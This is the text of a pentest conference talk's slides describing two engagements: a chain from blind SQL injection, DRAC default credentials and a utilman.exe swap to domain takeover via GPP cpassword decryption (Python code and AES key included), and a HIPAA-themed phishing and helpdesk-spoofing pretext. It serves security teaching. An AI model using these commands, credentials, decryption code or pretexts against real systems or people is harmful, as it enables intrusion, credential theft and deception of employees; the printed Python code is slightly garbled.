SANS Pentest Summit
Getting Creative

A story of thinking outside of the box...

Dave Kennedy
Founder, Principal Security Consultant
Email: davek@trustedsec.com
@TrustedSec, @HackingDave
About the Speaker

- Founder, Principal Security Consultant at TrustedSec.
- Former Chief Security Officer for Diebold Incorporated
- Business guy, Penetration Tester, Exploit Writer.
- Creator of The Social-Engineer Toolkit (SET), Fast-Track, Artillery, exploits and open source tools.
- Co-Author of Metasploit: The Penetration Testers Guide.
- U.S Marine – Deployed to Iraq a few times.
- Numerous media interview including Fox & Friends, The Katie Show, BBC, CNN, Fox News, CNBC, Bloomberg, Huffington
What this is about...

• Thinking of unique ways into an organization.

• Becoming that adversarial attacker, thinking outside of the box. Removing that comfort zone.

• Getting dirty.
Before we begin...
Thinking like a hacker

• Have to think outside of the box.

• Have to think differently.

• Have to be different.
What A Penetration Test is..

- Simulated attack as an adversary.

- Cover/Overt (pro and cons to both.)
Understanding what the risk truly is.
Story 1: Inching your way forward
Scenario

- Social-Engineering not in scope in this one.
- Large external presence (900 or so externally facing systems).
- Primarily .NET, good practices, limited attack avenues through web applications.
Going through one by one

• Locked down – services exposed 80/443.

• Dynamic testing of applications, find one application with blind SQL injection (with WAF enabled).

• Server 2008 R2 – IIS 7.5.
OPENROWSET

- OPENROWSET to brute force the local SA account.

- Re-enable xp_cmdshell stored procedure.

- Need to drop a shell – limited in what we can do based on permissions (network service).
Power2Bin

- Releasing today power2bin – powershell function for converting executable to base64 then back to binary and load into memory through PowerShell – easy to get around content filtering.
How Meterpreter HTTP/HTTPS Works

- First stage is initiated.

- Uses HTTP pull to load PE into memory.

- Problem with this technique is it requires non content aware proxies. Fails in most cases. Easy to fix in the framework (thanks HD) – EnableStageEncoding - true
The Pwn on NextGen

• SSH over HTTPS

• Actual payload is encrypted via AES 256 (dynamic cipher).

• Payload stays in memory before it sends stage back.
Demonstration
How it works
Got our shell. Now what?

• Limited user – can barely access anything with network service.

• Incognito, no dice. Only thing left is to pillage.

• Find a config pointing to a different subnet. Quick sweep find, nothing but a dell drac server.
Then I find you.

- Find a Dell Chassis Management Interface (443).
- Research the implementation guidelines and product documentation.
- Default credentials “root” and “calvin”.
And there you are.
DellDrac Scanner

Daves-MacBook-Pro-2:Desktop david$ python delldrac.py
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Dell Drac and Chassis Scanner for Default Credentials v0.1a
Written by Dave Kennedy @ TrustedSec

https://www.trustedsec.com

@TrustedSec and @dave_rel1k
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Example: python delldrac.py 10.1.1.1/24

python delldrac.py

Daves-MacBook-Pro-2:Desktop david$ python delldrac.py 10.1.1.1/16
[*] Scanning IP addresses, this could take a few minutes depending on how large the subnet range…
[*] Dell Chassis Compromised! Username: root Password: calvin for IP address: 10.1.1.5
[*] DRAC compromised! username: root and Password: calvin for IP address: 10.1.1.9
[*] DRAC compromised! username: root and Password: calvin for IP address: 10.1.1.18

Daves-MacBook-Pro-2:Desktop david$
Ok default credentials..

But who cares?
Things you can do.

• Reboot the attached sever.

• Check health statuses around drives and hardware.

• Grab SNMP community strings if configured properly (possible post exploitation scenario).
Yawn
Fun part.

• Virtual Console access.

• Ability to review console, but 9 * out of 10 will be locked or not logged in.

• However… You have this nifty thing called virtual media mount.
The Attack

- Mount a virtual media device - backup recovery disk.
- Reboot the server.
- Boot into iso, and see what we have access to.
Server 2008 and 2012 Local Access

• On a server 2008 machine (anyone you want), go to start, type recovery, refresh your PC, then create a recovery drive.

• Creates a USB, make that into an iso and mount it.
Step 1
### Step 2

**Virtual Console**

- **Enabled**: [ ]
- **Max Sessions**: 2
- **Active Sessions**: 1
- **Keyboard and Mouse Port Number**: 5900
- **Video Port Number**: 5901
- **Video Encryption Enabled**: [ ]
- **Mouse Mode**: Windows
- **Console Plug-in Type for IE**: Java
- **Local-Server Video Enabled**: [ ]

**Virtual Media**

- **Attach Virtual Media**: Auto-Attach
- **Maximum Sessions**: 1
- **Active Sessions**: 0
- **Virtual Media Encryption Enabled**: [ ]
- **Floppy Emulation**: [ ]
- **Enable Boot Once**: [ ]
Step 3
Step 4

```
BIOS Boot Manager

* Normal
* USB Floppy device (not installed)
* USB CD-ROM device (not installed)
* Hard drive C:
* Embedded NIC 1 MBA v6.0.11 Slot @100
* Virtual Floppy
  * Virtual CDROM
* System Setup
* System Services

Use Up/Down arrows to highlight desired item.
Use Enter to select highlighted item. Use Esc to continue normal boot.

ISOLINUX 3.63 Debian-2008-07-15 Copyright (C) 1994-2008 H. Peter Anvin
boot: _
```
Step 5

Get into advanced startup options, easiest way to get into this is allow Server 2008 to get to the Windows Icon on bootup, wait about 10 seconds and hit the stop button to cause the bootup to be interrupted.

From there, restart, advanced startup will occur. Then click on:

– Troubleshoot, Advanced options, and Command Prompt (no password needed)
Step 6 - Utilman

cd %WINDIR%\system32
move utilman.exe utilman.exe.bak
copy cmd.exe utilman.exe
Problem.

- Heavy DMZ – only two systems visible – first, looks to be an RODC (read only domain controller) and a workstation..WTF?

- Further investigation, whitelist rule for administration on workstation/administrator user.
What we need to do.

• We have SYSTEM on this box – since we rebooted.

• Box isn’t even on the domain, and no active domain accounts. We can still see the one workstation.
RIDENUM

• Most companies have prevention for null session RID cycling through domain controllers BUT – you can use a trusted connection from an already joined workstation/server to ride that connection to enumerate users if it isn’t applied domain wide.
User Accounts

• Extracted all user accounts on the domain.

• Brute force – found traditional Password1.

• Gives me a domain user account on the domain – whoot.
One of my PERSONAL Favorites

- How many times have we been on a pentest with just a domain user?

- Need that local administrator account for all of the domain computers?

Research from: Sogeti ESEC Pentest

Article: http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
The Attack

- Navigate to a domain controller and hit up the SYSVOL share.

- Head to the domain name and Policies folder.

- Look for a GUID then MACHINE \Preferences\Group.

- Look for the Groups.xml file.
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"
    <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="MyLocalUser"
        image="0" changed="2011-12-26 10:21:37" uid="{A5E3F388-299C-41D2-B937-DD5E638696FF}"
        <Properties action="C" fullName="" description=""
            cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwdHdhw" changeLogon="0"
                noChange="0" neverExpires="0" acctDisabled="0" subAuthority=""
                    userName="MyLocalUser" />
            </User>
        </Groups>
Static Key for AES Anyone?

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<2>

The 32-byte AES key is as follows:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
Python Code

# code was developed and created from
# http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences

from Crypto.Cipher import AES
from base64 import b64decode

key = ""
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(" ",").replace("\n","").decode('hex')

cpassword = b64decode("j1Uyj3Vx8TY9LtZil2uAuZkFQA/4latT76ZwgHdhw=")

o = AES.new(key, 2).decrypt(cpassword)

print o[:-ord(o[-1])].decode('utf16')
GPP

Metasploit module for doing the same thing automatically – it rox.
Local Administrator on the Box

- Application whitelisting in place on the machine (bit9).
- Means no binaries. Need to go a different route.
- Powershell Injection with a twist.
Powershell... Mmmmmhmmm

- Powershell is by far POWERFUL.
- Amazing extensible programming language. Full C# integration.
- Ability to do whatever, whenever, however you want.
Magic Unicorn

• Tool released recently.

• Uses exploit method released at Defcon 17 (Josh and me) for execution restriction bypass.

• Expands on Matthew Graeber’s amazing and awesome research for x86 downgrade on native x64 bit platforms.
Houston, we have a shell.

• Got a shell back out from the workstation machine.

• Problem – well not really was user access control (UAC).

• Let’s do a demonstration of both of them.
Demonstration
From there it went out of control.

• Local admin on all of the other boxes including servers.

• Found a VHD backup, used ntds.dit and SAM\SYSTEM to extract hashes, never had to own a DC.

• Allowed us access into the environment and get everything we wanted from the outside.
Scenario 2 – The SE
Scenario 2

Targeting you.

Health Care Benefits
The Scenario

• Q4 – Always the nagging renewing health benefits time.

• No one knows HIPAA and what that means other than its ‘medical’.

• Think – How can I move someone to do something?
Due to new HIPAA regulations, need to fill this privacy form out or you will not receive medical benefits for 2014.

OMG
The Attack

• Doesn’t use the Java zero day.

• Doesn’t use an “exploit”

• First page, credential harvester (the creds).

• Second page, the applet.
The Results

• 8 out of 8 fell for the attack (100% success rate). KEEP IT SMALL!

• Established sessions to the company.

• Slight problem. None had administrative level rights.
Problems.

- Major problem. Computers started to die as people went home.

- No escalation of permissions or persistence.

- Had to think fast.
Tell them they’ve been phished.

• Call them up. “You’ve been phished!”

• Need to work on their computer to help fix the issues.

• Help them through and conning them the whole way.
Using the Helpdesk

• Tell the user “you may notice some things moving around on your screen”.

• Call up the help desk, spoof phone number of-phished victim.

• Boom – Administrative token on box.
Wrapping Up

• We all need to be creative. Try something different.

• We are here to simulate attackers, to be an attacker, in order to help prevent attackers.

• Be a hacker.
SANS Pentest Summit
Getting Creative

A story of thinking outside of the box...

Dave Kennedy
Founder, Principal Security Consultant
Email: davek@trustedsec.com
@TrustedSec, @HackingDave